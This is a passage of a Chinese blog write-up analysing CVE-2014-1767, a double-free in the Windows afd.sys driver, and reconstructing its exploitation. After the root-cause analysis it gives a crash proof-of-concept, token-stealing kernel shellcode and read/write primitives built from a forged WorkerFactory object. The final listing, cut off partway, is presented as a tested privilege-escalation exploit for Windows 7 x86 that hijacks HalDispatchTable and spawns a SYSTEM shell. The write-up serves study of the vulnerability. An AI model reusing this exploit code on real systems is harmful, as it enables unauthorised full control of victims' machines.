[in] SIZE_T NumberOfBytes,
[in] ULONG Tag
);
可知,目前正在尝试分配一块4294967280大小的内存(大约3.9Gb),由于被调试机器为32位且未开启PAE, 这种情况下必然会产生异常,因此会执行到0002B8A7处的AfdReturnTpInfo函数。
同时,需要注意,在0002B83C处从LookasideList内存处分配了一个struc_TPInfo后,并没有对struc_TPInfo->struc_UnkObj的MdlAddress成员初始化,因为在尝试调用ExAllocatePoolWithQuotaTag初始化该成员域时发生了异常(申请3.9Gb内存),从而执行流程跳转到了异常处理块的AfdReturnTpInfo处,但是AfdReturnTpInfo函数体中是会对struc_TPInfo->struc_UnkObj->MdlAddress执行释放操作的:
那么由于此时分配的struc_TPInfo结构使用的内存是上一次调用AfdTransmitFile异常后,释放(归还)给LookasidList的内存,由于本文一开始分析得到的悬挂指针的问题, 导致二次IoFreeMdl同一块内存。
这就是本文一开始终极问题的答案——为什么会DoubleFree。
包袱2
同样埋一个包袱后文会用到。
让我们回到第二次释放时的调用现场:
通过对这个现场的回溯,我们可以得到第二次调用时的调用链如下:
CVE-2014-1767 -> nt!DeviceIoControl -> afd!AfdTransmitPackets
以及调用DeviceIoControl的参数信息:
控制码(Control Code): 0x120c3
输入缓冲区地址:0x1326200
输入缓冲区长度:0x18
三
DoubleFree产生流程总结
上文中,有个细节没有提到(下面标红部分):
AfdTliGetTpInfo在分配struc_TPInfo结构时,会根据参数决定是否要初始化struc_TPInfo->struc_UnkObj结构。
AfdTransmitFile调用AfdTliGetTpInfo时,会用常数3作为参数进行调用,这导致AfdTliGetTpInfo永远不会在内部初始化struc_TPInfo->struc_UnkObj
AfdTranmitPackets调用AfdTliGetTpInfo时,使用的参数是可控的,并不是常数3,这导致我们可以控制AfdTliGetTpInfo让其在内部初始化struc_TPInfo->struc_UnkObj结构
知道了上述信息后,我们来覆盘一下DoubleFree产生的原因:
AfdTransmitFile调用(第一次DeviceIoControl):
调用AfdTliGetTpInfo分配struc_TPInfo结构,此时调用AfdTliGetTpInfo参数固定为3,不初始化struc_TPInfo->struc_UnkObj->MdlAddress成员
调用IoAllocateMdl分配内存地址,赋值给struc_TPInfo->struc_UnkObj->MdlAddress成员
调用MmProbeAndLockPages尝试锁定struc_TPInfo->struc_UnkObj->MdlAddress,由于地址非法,发生异常
异常处理函数接管,调用AfdReturnTpInfo函数释放struc_TPInfo,但是未对指针置NULL从而产生悬挂指针
AfdTransmitPackts调用(第二次DeviceIoControl):
调用AfdTliGetTpInfo分配struc_TPInfo结构,此时调用AfdTliGetTpInfo参数为外部传入,导致需要初始化struc_TPInfo->struc_UnkObj->MdlAddress成员
AfdTliGetTpInfo中尝试使用ExAllocatePoolWithQuotaTag分配3.9Gb内存,发生异常
异常处理函数接管,调用AfdReturnTpInfo清理刚分配的struc_TPInfo结构
由于本次分配的struc_TPInfo结构为AfdTransmitFile调用产生异常后释放(归还)给LookasideList的内存,这块内存包含上次指针的值(悬挂指针)
调用IoFreeMdl时尝试再次清理悬挂指针指向的内存区域
BSOD
四
构造POC
失败的尝试
本小节涉及到上文中提到的两个包袱,通过对栈中数据的分析我们可以写出如下POC代码:
typedef struct _INPUT_AfdTransmitFile {
DWORD field1;
DWORD field2;
DWORD field3;
DWORD field4;
DWORD field5;
DWORD field6;
DWORD field7;
DWORD field8;
DWORD field9;
DWORD field10;
DWORD field11;
DWORD field12;
} INPUT_AfdTransmitFile;
typedef struct _INPUT_AfdTransmitPackets {
DWORD field1;
DWORD field2;
DWORD field3;
DWORD field4;
DWORD field5;
DWORD field6;
} INPUT_AfdTransmitPackets;
int main()
{
DWORD bytesRet;
INPUT_AfdTransmitFile InputAfdTransmitFile = {0};
memset(&InputAfdTransmitFile, 0, sizeof(INPUT_AfdTransmitFile));
InputAfdTransmitFile.field7 = 0x13371337;
InputAfdTransmitFile.field8 = 0x15fcd9;
InputAfdTransmitFile.field11 = 1;
INPUT_AfdTransmitPackets InputAfdTransmitPackets = {0};
memset(&InputAfdTransmitPackets, 0, sizeof(INPUT_AfdTransmitPackets));
InputAfdTransmitPackets.field1 = 1;
InputAfdTransmitPackets.field2 = 0x0aaaaaaa;
LPCSTR deviceStr = "\\?\GLOBALROOT\Device\Afd";
HANDLE hDevice = CreateFile( deviceStr,
GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE,
FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DeviceIoControl((HANDLE)hDevice, 0X1207F, (LPVOID)&InputAfdTransmitFile,
sizeof(INPUT_AfdTransmitFile), NULL, 0, &bytesRet, NULL);
DeviceIoControl((HANDLE)hDevice, 0X120C3, (LPVOID)&InputAfdTransmitPackets,
sizeof(INPUT_AfdTransmitPackets), NULL, 0, &bytesRet, NULL);
return 0;
}
测试发现,并不能触发崩溃,通过上面漏洞的成因, 分别在afd!AfdTransmitFile与afd!AfdTransmitPackets下断点进一步分析,最终发现是在afd!AfdTransmitPackets中如下检查未通过导致的:
FsContext = (unsigned __int8 *)a2->FileObject->FsContext;
v56 = FsContext;
v3 = *(_WORD *)FsContext;
if ( *(_WORD *)FsContext == 0x1AFD )
{
v66 = STATUS_INVALID_PARAMETER_12;
goto LABEL_148;
}
if ( v3 != (__int16)0xAFD2 <--- 这里的检查未通过导致直接调到函数结尾
&& (v3 != (__int16)0xAFD1 || (*((_DWORD *)FsContext + 2) & 0x200) == 0 && (*((_DWORD *)FsContext + 3) & 0x8000) == 0)
|| FsContext[2] != 4 )
通过对内核中0xAFD2常数的追踪, 最终定位到这个常数的位置如下图:
接下来看一下winsock2模块是干啥用的, 了解一个模块的作用, 最快的方法莫过于通过其头文件了, 看一下其导出的函数:
发现一个老熟人, WSAStartup, 所以推测\?GLOBALROOTDeviceAfd是和socks函数相关的, 尝试把句柄替换为socks函数产生的句柄成功触发BSOD。
成功构造POC
在知道正确的句柄类型之后, 我们就可以创建正确的设备对象来构造触发BSOD的POC了,下面POC中的端口, 只要是任意开放端口即可。
typedef struct _INPUT_AfdTransmitFile {
DWORD field1;
DWORD field2;
DWORD field3;
DWORD field4;
DWORD field5;
DWORD field6;
DWORD field7;
DWORD field8;
DWORD field9;
DWORD field10;
DWORD field11;
DWORD field12;
} INPUT_AfdTransmitFile;
typedef struct _INPUT_AfdTransmitPackets {
DWORD field1;
DWORD field2;
DWORD field3;
DWORD field4;
DWORD field5;
DWORD field6;
} INPUT_AfdTransmitPackets;
int main()
{
DWORD bytesRet;
INPUT_AfdTransmitFile InputAfdTransmitFile = {0};
memset(&InputAfdTransmitFile, 0, sizeof(INPUT_AfdTransmitFile));
InputAfdTransmitFile.field7 = 0x13371337;
InputAfdTransmitFile.field8 = 0x15fcd9;
InputAfdTransmitFile.field11 = 1;
INPUT_AfdTransmitPackets InputAfdTransmitPackets = {0};
memset(&InputAfdTransmitPackets, 0, sizeof(INPUT_AfdTransmitPackets));
InputAfdTransmitPackets.field1 = 1;
InputAfdTransmitPackets.field2 = 0x0aaaaaaa;
WSADATA WSAData;
SOCKET sock_fd;
SOCKADDR_IN sa;
WSAStartup(0x2, &WSAData);
sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(445);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
connect(sock_fd, (const struct sockaddr*) & sa, sizeof(sa));
DeviceIoControl((HANDLE)sock_fd, 0X1207F, (LPVOID)&InputAfdTransmitFile,
sizeof(INPUT_AfdTransmitFile), NULL, 0, &bytesRet, NULL);
DeviceIoControl((HANDLE)sock_fd, 0X120C3, (LPVOID)&InputAfdTransmitPackets,
sizeof(INPUT_AfdTransmitPackets), NULL, 0, &bytesRet, NULL);
return 0;
}
五
构造Expolit思路
前文中,作者本着自虐的原则,刨根问底式的研究了很多“多余的东西”,但是作为一个Noob,完全自己去构造Expolit实在是过于难为作者了。因此,我们需要参考一下大佬们是如何构造Exploit的,我们需要通过大佬们的构造思路,来学习构造Exploit的技能——这部分技能恰好是我们所不具备的。
本文接下来的部分,主要是对《参考1》的理解以及《参考2》的解释,或者也可以理解为读书笔记。
利用思路
通过上文的分析, 可知此漏洞的根本成因是DoubleFree, 如果我们能控制Free之后的这块内存,从而造成Object Manipulate的话,就可以控制任意内存——也就是将DoubleFree问题转换为UAF问题。
获取CPU控制权
首先,我们从最朴素的目的来展开我们的思考。抛开所有问题不谈,漏洞利用最终的目标是什么?当然不是没有蛀牙,而是执行我们的ShellCode——那么我们将会面临两个问题:
Shellcode如何写入到内核态可以访问的内存中?
如何接管CPU的执行流程,让CPU执行我们内存中的Shellcode?
针对第一个问题, 由于我们的程序已经装载到内存中执行了, 因此当内核运行在我们的Expoit进程空间时, 自然就可以访问到用户态的Shellcode地址,因此在Exploit中Shellcode其实就是个函数的地址而已(参考2):
NTSTATUS __stdcall Shellcode(int a,int b,int c,int d)
{
//获取自己和系统进程的EPROCESS
PEPROCESS pCur, pSys;
DWORD ObjTable;
MyPsLookupProcessByProcessId(GetCurrentProcessId(), &pCur);
MyPsLookupProcessByProcessId(4, &pSys);
//提权 0xF8为token位置
*(DWORD*)(pCur + 0xF8) = *(DWORD*)(pSys + 0xF8);
//绕过清理句柄
ObjTable = *(DWORD*)(pCur + 0xF4);
*(DWORD*)(ObjTable + 0x30) -= 1;
ObjTable = *(DWORD*)ObjTable;
*(DWORD*)(ObjTable + ((DWORD)hWorkerFactory * 2)) = 0;
//恢复Hook
*(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation;
return 0;
}
针对第二个问题, 我们知道Windows有很多的系统例程(比如SSDT里面的全都是), 如果我们能替换掉某个例程的地址为我们的Shellcode地址,然后调用这个例程, 那CPU便会去执行我们的Shellcode代码。
当然, 此漏洞发现者使用的并不是SSDT里面的例程, 因为这个表里面的函数使用频率太高了,很容易被其他程序调用从而影响我们对漏洞的利用。这里, 漏洞发现者盯上了漏洞利用届的老熟人、冷门调用的扛霸子:位于HalDispatchTable第二项的HaliQuerySystemInformation:
kd> dd HalDispatchTable L4
83d363f8 00000004 84033940 8403380e 83ebe793
kd> dt HAL_DISPATCH 83d363f8
Wdf01000!HAL_DISPATCH
+0x000 Version : 4
+0x004 HalQuerySystemInformation : 0x84033940 long hal!HaliQuerySystemInformation+0
+0x008 HalSetSystemInformation : 0x8403380e long hal!HaliSetSystemInformation+0
+0x00c HalQueryBusSlots : 0x83ebe793 long nt!xHalQueryBusSlots+0
+0x010 Spare1 : 0
+0x014 HalExamineMBR : 0x83c155c2 void nt!HalExamineMBR+0
+0x018 HalIoReadPartitionTable : 0x83d7ffdf long nt!IoReadPartitionTable+0
+0x01c HalIoSetPartitionInformation : 0x83ebe095 long nt!IoSetPartitionInformation+0
+0x020 HalIoWritePartitionTable : 0x83ebe340 long nt!IoWritePartitionTable+0
+0x024 HalReferenceHandlerForBus : 0x83cbd3d4 _BUS_HANDLER* nt!KeQueryHighestNodeNumber+0
+0x028 HalReferenceBusHandler : 0x83d23a8f void nt!xHalStopLegacyUsbInterrupts+0
+0x02c HalDereferenceBusHandler : 0x83d23a8f void nt!xHalStopLegacyUsbInterrupts+0
+0x030 HalInitPnpDriver : 0x8403376a long hal!HaliInitPnpDriver+0
+0x034 HalInitPowerManagement : 0x84033f8a long hal!HaliInitPowerManagement+0
+0x038 HalGetDmaAdapter : 0x8401b92c _DMA_ADAPTER* hal!HaliGetDmaAdapter+0
+0x03c HalGetInterruptTranslator : 0x84032e6a long hal!HaliGetInterruptTranslator+0
+0x040 HalStartMirroring : 0x83ebe7c0 long nt!xHalStartMirroring+0
+0x044 HalEndMirroring : 0x83cde9bf long nt!xHalEndMirroring+0
+0x048 HalMirrorPhysicalMemory : 0x83cde9d3 long nt!xHalReadWheaPhysicalMemory+0
+0x04c HalEndOfBoot : 0x84034150 void hal!HalpEndOfBoot+0
+0x050 HalMirrorVerify : 0x83cde9d3 long nt!xHalReadWheaPhysicalMemory+0
+0x054 HalGetCachedAcpiTable : 0x8401daf6 void* hal!HalAcpiGetTableDispatch+0
+0x058 HalSetPciErrorHandlerCallback : 0x84022a3a void hal!HaliSetPciErrorHandlerCallback+0
根据已知资料可知, 当我们调用NtQueryIntervalProfile时, 会导致内核态调用HalQuerySystemInformation函数。
所以, 如果我们将HalQuerySystemInformation函数的地址替换为我们Shellcode函数的地址, 然后调用NtQueryIntervalProfile, 我们的Shellcode便会的到执行。
那么, 新的问题又出现了:
如何获取 HalQuerySystemInformation 函数的存储地址?
在获取到1中地址后, 如何向这个地址写入我们Shellcode的地址?
构造读写原语
根据上一节的分析可知 HalQuerySystemInformation 位于 HalDispatchTable+0x004 的位置, 好消息是 HalDispatchTable 在ntoskrnl.exe中是导出的:
获取一个导出的符号地址, 在R3中使用 LoadLibrary + GetProcAddress 的经典组合就可以搞定了, 唯一需要注意的是需要根据ntoskrnl.exe在内核中实际加载的基址重新计算一下导出名称的地址(参考2):
PSYSTEM_MODULE_INFORMATION Info = (PSYSTEM_MODULE_INFORMATION)malloc(cbNeed);
Status = MyNtQuerySystemInformation(11, Info, cbNeed, &cbNeed);
if (!NT_SUCCESS(Status))
{
printf("MyNtQuerySystemInformation Failed %pn", Status);
return 0;
}
// Info 中存放 ntoskrnl.exe 即nt模块的基本信息
DWORD Ntbase = Info->Module[0].Base; // nt模块的加载基址
// Info->Module[0].ImageName 存放nt模块的全路径, 我们需要切出文件名
HMODULE Mynt = LoadLibrary(Info->Module[0].ImageName + Info->Module[0].OffsetToFileName);
if (Mynt == NULL)
{
printf("LoadLibrary Nt Failedn" );
return 0;
}
// 重新计算HalDispatchTable的地址
MyHalDispatchTable = (ULONG)GetProcAddress(Mynt, "HalDispatchTable") - (ULONG)Mynt + Ntbase;
if (MyHalDispatchTable == NULL)
{
printf("Get HalDispatchTable Failed %pn", GetLastError());
return 0;
}
OK, 现在我们知道了HalDispatchTable的地址, 我们下一步只需要向 HalDispatchTable+0x004 位置处写入我们Shellcode函数地址就可以了——可是我们如何写呢?接下来让我们回答上一节的问题:
“在获取到HalDispatchTable中地址后, 如何向这个地址写入我们Shellcode的地址”
写原语
Windows有一个很有意思的设计,为了管理内核对象, Windows提供了很多配套函数, 这些函数都是成组出现的, 其基本形式为:NtCreateXXX/NtQueryInformationXXX/NtSetInformationXXX。这三类函数一般用于创建内核对象或查询/设置该内核对象的信息。
如果要尝试构造任意地址写, NtSetInformationXXX系列函数是个不错的选择, 而漏洞发现者选取的内核对象为WorkerFactory, 即“受害”函数是NtSetInformationWorkerFactory, 让我们先来理解一下这个函数(仅列出重要部分):
NTSTATUS __stdcall NtSetInformationWorkerFactory(HANDLE Handle, int QueryClassInformation, DWORD *Data, SIZE_T CbData)
DWORD *v7; // eax
DWORD v10; // edi
PVOID WorkerFactoryObject; // [esp+3Ch] [ebp-1Ch] BYREF
v5 = 4;
if ( CbData != v5 )
return STATUS_INFO_LENGTH_MISMATCH;
if ( QueryClassInformation == 8 )
v7 = Data;
v10 = *v7;
result = ObReferenceObjectByHandle(Handle, 4u, ExpWorkerFactoryObjectType, AccessMode[0], &WorkerFactoryObject, 0);
if ( QueryClassInformation == 8 )
*)(*(_DWORD *)(*(_DWORD *)WorkerFactoryObject + 0x10) + 0x1C) = v10; // 写原语构造点
return 0;
}
从函数的反汇编代码来看, 我们可以将4个字节的数据写到受控地址处, 地址的控制是通过WorkerFactory对象+0x10处的成员值间接计算得出的。这里的几个要点为:
QueryClassInformation参数需要为8
CbData参数值需要是4
Data参数为需要写入的数据值(HalDispatchTable + 4)
所以, Exploit中构造的写原语代码为(参考2):
MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);
BYTE WorkerFactory[0xA0] = { 0 };
…………
PBYTE pObj = WorkerFactory + 0x28; // 跳过0x28字节ObjectHeader, 指向WorkerFactory对象的Body
…………
//任意写 把 *arg3 的内容 写入到 *( *(*object+0x10)+0x1C )
//*(*object+0x10)+0x1C = MyHalDispatchTable + 4
//因为 *object 所以没办法在本对象内构造数据
//所以需要另一个内存来构造数据
BYTE y[0x14] = { 0 };
*(DWORD*)pObj = (DWORD)y;
PBYTE py = y;
//现在有一个内存y *(y + 0x10) + 0x1C = MyHalDispatchTable + 4
//所以 *(y+0x10) = MyHalDispatchTable + 4 - 0x1C 即可
*(DWORD*)(py + 0x10) = MyHalDispatchTable + 4 - 0x1C;
…………
//写shellcode地址到HalDispatchTable + 4
DWORD scAddr = (DWORD)Shellcode;
MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4);
NtQueryEaFile
通过上面的写原语代码可知,我们是通过构造恶意的WorkerFactory对象实现的。然而WorkerFactory对象是通过NtCreateWorkerFactory创建的,我们得到的仅仅是代表这个对象的一个句柄——换句话说,我们并不能控制这个对象的具体内容, 但是我们构造写原语的确要伪造WorkerFactory对象的一些成员, 如何解决这个问题呢?
漏洞发现者提供了另外一个对象:EaFile。我们可以通过NtQueryEaFile达成向内存某一地址处写入我们想要数据的目的, 废话不说, 上反汇编代码:
NTSTATUS __stdcall NtQueryEaFile( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer,
ULONG Length, BOOLEAN ReturnSingleEntry, PVOID EaList, ULONG EaListLength, PULONG EaIndex,
BOOLEAN RestartScan)
CurrentThread->PreviousMode; =
if ( !AccessMode[0] )
if ( EaList && EaListLength )
v46 = 1;
if ( ViVerifierDriverAddedThunkListHead )
else
PoolWithTagPriority = ExAllocatePoolWithQuotaTag(NonPagedPool, EaListLength, 0x20206F49u);
P = PoolWithTagPriority;
EaList, EaListLength);
v19 = ObReferenceObjectByHandle(FileHandle, 8u, (POBJECT_TYPE)IoFileObjectType, AccessMode[0], &Object, 0);
if ( v19 < 0 )
if ( v46 )
0);
return v19;
}
这里需要强调一点, 由于WorkerFactory对象在第二次调用DeviceIoControl的时候会被释放掉, 因此上面18行处的ExAllocatePoolWithQuotaTag申请内存的调用, 只要传入合适的EaListLength值,就会再次得到被释放的这块内存。那么, EaListLength需要是多少合适呢?答案是WorkerFactory对象所占用的内存大小,所以我们需要知道WorkerFactory对象占多大内存:
g
Breakpoint 0 hit
:
83d2c005 8bff mov edi,edi
kb
# ChildEBP RetAddr Args to Child
00 80e34b34 83e34174 00000000 000000a0 ef577054 nt!ExAllocatePoolWithTag
01 80e34b60 83e68584 0137d001 80e34b88 00000078 nt!ObpAllocateObject+0xe2
02 80e34b94 83e48060 0137d001 86629a38 00000000 nt!ObCreateObject+0x128
03 80e34c04 83c4987a 0137d084 10000000 00000000 nt!NtCreateWorkerFactory+0x142
………………
0b 0024fab0 00000000 013714b0 7ffd5000 00000000 ntdll!_RtlUserThreadStart+0x1b
可以看到WrokerFactory对象的大小为0xA0, 其分配的内存区域的POOL_TYPE为0, 即NonPagedPool。
继续进一步分析ExAllocatePoolWithQuotaTag函数调用:
PVOID __stdcall ExAllocatePoolWithQuotaTag(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag)
v3 = PoolType;
if ( (PoolType & 8) != 0 )
v3 = PoolType & 0xFFFFFFF7;
v5 = v3 + 8;
sizof(WorkFactoryObject) == 0xA0 < 0xFF4
if ( NumberOfBytes > 0xFF4 || Process == PsInitialSystemProcess )
v5 = (unsigned __int8)v5 - 8;
else
NumberOfBytes += 4;
貌似POOL_TYPE是8的情况下, 也会在NonPagedPool分配内存
PoolWithTag = (char *)ExAllocatePoolWithTag((POOL_TYPE)v5, NumberOfBytes, Tag);
}
发现EaListLength会被+4然后作为分配内存的长度, 因此我们如果想得到同一块内存, 在调用NtQueryEaFile的时候, EaListLength需要是0xA0 - 4, 下面是Exploit的对应代码(参考2):
//创建WorkerFactory对象
DWORD Status = MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);
// 第二次释放 释放掉的内存是 WorkerFactory Object
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);
// 现在把伪造的对象拷贝到释放掉的内存, NtQueryEaFile 内部会再次申请到上面释放掉的内存
IO_STATUS_BLOCK IoStatus;
MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0);
小节1
上面讲了这么多, 其实就是为了解决两个问题:
如何获取 HalQuerySystemInformation 函数的存储地址?
在获取到1中地址后, 如何向这个地址写入我们Shellcode的地址?
我们通过LoadLibrary和GetProcAddress得到了HalDispatchTable的地址, 然后利用NtQueryEaFile函数伪造一个WorkerFactory对象从而构造写原语, 利用构造的写原语覆盖了系统原本的HalQuerySystemInformation调用为我们Shellcode函数的地址。
到这里, 理论上我们只需要触发HalQuerySystemInformation调用即可执行我们的Shellcode了,如下(参考2):
// 调用shellcode
DWORD Interval;
MyNtQueryIntervalProfile(2, &Interval);
但是为了避免系统崩溃, 在Shellcode最后, 我们还需要将原来的HalQuerySystemInformation函数恢复回去。
那么,如何得到原HalQuerySystemInformation的函数地址呢?
读原语
通过上文的介绍, 我们依然利用WorkerFactory对象构造读语, 这次我们把目光转移到NtQueryInformationWorkerFactory上:
NTSTATUS __stdcall NtQueryInformationWorkerFactory(void *a1, int a2, ULONG a3, int a4, _DWORD *a5)
{
if ( PreviousMode )
{
v7 = (char *)a3;
}
else
{
v7 = (char *)a3;
}
…………
result = ObReferenceObjectByHandle(
a1,
8u,
ExpWorkerFactoryObjectType,
AccessMode[0],
(PVOID *)&WorkerFactoryObject,
0);
if ( result >= 0 )
{
…………
v10 = (char *)WorkerFactoryObject;
…………
*(_DWORD *)v16 = *((_DWORD *)v10 + 2);
…………
// 0x19 * sizeof(DWORD *) = 0x64
*(_DWORD *)&v16[0x50] = *(_DWORD *)(*((_DWORD *)v10 + 0x19) + 0xB4); // 读原语构造点
…………
// 赋值0x60大小的内存
qmemcpy(v7, v16, 0x60u);
}
}
可以看到, 该函数中, 有一个解引用, 会将WorkerFactoryObject+0x64处的值+0xB4后, 再解引用, 赋值到返回内容的0x50位置处, 最终返回的内存大小为0x60。这里需要注意上面的v10是DWORD , 所以(DWORD )v10 + 0x19等于(CHAR *)v10 + 0x64。
因此, 如果我们想要得到原来的HalQuerySystemInformation函数地址, 需要HalDispatchTable + 4 - 0xB4, 因此Exploit中的处理逻辑为(参考2):
BYTE WorkerFactory[0xA0] = { 0 };
PBYTE pObj = WorkerFactory + 0x28;
+ 0x64) = MyHalDispatchTable - 0xB4 + 4;
oldHaliQuerySystemInformation
需要的数据被放在 kernelRetMem+0x50
BYTE kernelRetMem[0x60] = { 0 };
7, kernelRetMem, 0x60, NULL);
oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50);
这样就得到了原本HalQuerySystemInformation的地址, 我们只需要在Shellcode最后恢复他即可。
小节2
对整个代码回顾, 关键脉络如下:
DWORD oldHaliQuerySystemInformation = NULL;
DWORD MyHalDispatchTable = NULL;
NTSTATUS __stdcall Shellcode(int a,int b,int c,int d)
{
………… // 省略的这部分为功能为提取System权限进程的TOKEN到当前进程
//恢复Hook
*(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation;
return 0;
}
int main(int argc, char** argv)
{
// 第一次释放MDL
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL);
…………
// 创建0xA0大小的WorkerFactory对象, 和上面的MDL位于同一内存位置
MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);
…………
// 释放WorkerFactory对象
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);
…………
// 再次在同一内存创建伪造的WorkerFactory对象
MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0);
…………
// 读原语,获取原HaliQuerySystemInformation函数地址
oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50);
…………
// 写原语,用Shellcode替换原HaliQuerySystemInformation
MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4);
…………
// 导致Shellcode执行, 当前进程的TOKEN被替换为System权限的TOKEN
MyNtQueryIntervalProfile(2, &Interval);
// 创建一个system权限的cmd, 继承System权限Token
ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
}
最后一个细节
整个漏洞,最核心的技巧说白了其实是通过反复申请和释放同一块内存来完成的。
通过上文的分析我们可知,这块内存的大小即是WorkerFactory对象的大小, 但是有一个细节是最开始, 也就是afd!TransmitFile调用是如何申请一块WorkerFactory大小的内存呢?
让我们回到第一次DeviceIoControl调用的内存分配处:
MACRO_STATUS __fastcall AfdTransmitFile(PIRP Irp, _IO_STACK_LOCATION *location)
v50 = location;
v50->Parameters.Type3InputBuffer, sizeof(InputBuffer));
if ( (*(_DWORD *)&FsContext->NonBlocking & 0x200) != 0 )
v6 = AfdTliGetTpInfo(3u); // <-- step in
v7 = v6;
Length = InputBuffer.Length;
if ( InputBuffer.Length )
v51 = &v7->UnkObjArray[*p_UnkCounter];
v11 = v51;
if ( (InputBuffer.field_28 & 0x10) != 0 )
STATUS_GUARD_PAGE_VIOLATION; =
Mdl = IoAllocateMdl(VirtualAddress, Length, 0, 1u, 0);
Mdl; =
}
所以所有关键参数都来自于我们的输入, 其中控制大小的参数会传递给IoAllocateMdl用于分配内存。让我们看一下IoAllocateMdl函数分配内存的细节:
PMDL __stdcall IoAllocateMdl( PVOID VirtualAddress, ULONG Length,
BOOLEAN SecondaryBuffer, BOOLEAN ChargeQuota, PIRP Irp)
v6 = ((Length & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 4095) >> 12;
v7 = v6 + (Length >> 12);
v15 = (unsigned __int16)VirtualAddress & 0xFFF;
if ( v7 > 0x11 )
v8 = 4 * v7 + 28;
goto LABEL_8;
if ( !result )
v8 = 96; // 不会执行这句
LABEL_8:
result = (PMDL)ExAllocatePoolWithTag(NonPagedPool, v8, 0x206C644Du);
if ( !result )
return result;
return result;
}
可见作为长度传递给内存分配函数ExAllocatePoolWithTag的参数v8由VirtualAddress和Length计算而来, 而VirtualAddress和Length是受我们控制的。我们可以用以下代码暴力计算:
VirtualAddress = 0x710DDDD
TargetSize = 0xA0
for Length in range(0, 0xFFFFFFFF, 1):
extra_page = int((int(Length & 0xFFF) + int(VirtualAddress & 0xFFF) + 0xFFF) >> 12)
v7 = extra_page + int(Length >> 12)
if TargetSize == (4 * v7 + 0x1C):
print('%X <=> %d' % (Length, Length))
break
其结果如下:
最终得到的值和参考2中Exploit的Length其实是不相等的, 参考2中的Length计算后为0x20000, 经过实际测试, 使用我们计算得到的值0x1F224也可以成功提权。
实际上, 如果将上述代码最后的break去掉, 我们可以得到非常多可用的值, 0x20000就在其中。
Put it all togeher
以下利用代码来自于参考2, 仅对上面提到的Length做了修改, 且在Windows 7 x86 SP1上测试提权成功 :
typedef NTSTATUS(__stdcall* __NtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T);
typedef NTSTATUS(__stdcall* __NtQueryEaFile)(HANDLE, PVOID, PVOID, ULONG, BOOLEAN, PVOID, ULONG, PULONG, BOOLEAN);
typedef NTSTATUS(__stdcall* __NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(__stdcall* __NtSetInformationWorkerFactory)(HANDLE, ULONG, PVOID, ULONG);
typedef NTSTATUS(__stdcall* __NtQueryIntervalProfile)(DWORD, PULONG);
typedef NTSTATUS(__stdcall* __PsLookupProcessByProcessId)(DWORD, LPVOID*);
typedef NTSTATUS(__stdcall* __NtQueryInformationWorkerFactory)(HANDLE, LONG, PVOID, ULONG, PULONG);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
__NtCreateWorkerFactory MyNtCreateWorkerFactory = NULL;
__NtQueryEaFile MyNtQueryEaFile = NULL;
__NtQuerySystemInformation MyNtQuerySystemInformation = NULL;
__NtSetInformationWorkerFactory MyNtSetInformationWorkerFactory = NULL;
__NtQueryIntervalProfile MyNtQueryIntervalProfile = NULL;
__PsLookupProcessByProcessId MyPsLookupProcessByProcessId = NULL;
__NtQueryInformationWorkerFactory MyNtQueryInformationWorkerFactory = NULL;
DWORD MyHalDispatchTable = NULL;
DWORD oldHaliQuerySystemInformation = NULL;
HANDLE hWorkerFactory = NULL;
typedef DWORD PEPROCESS;
DWORD GetFuncAddr()
{
//获取ntdll中的导出函数
HMODULE hNtdll;
hNtdll = GetModuleHandle("ntdll.dll");
if (hNtdll == NULL)
{
printf("GetModuleHandle Failed %pn", GetLastError());
return 0;
}
MyNtCreateWorkerFactory = GetProcAddress(hNtdll, "NtCreateWorkerFactory");
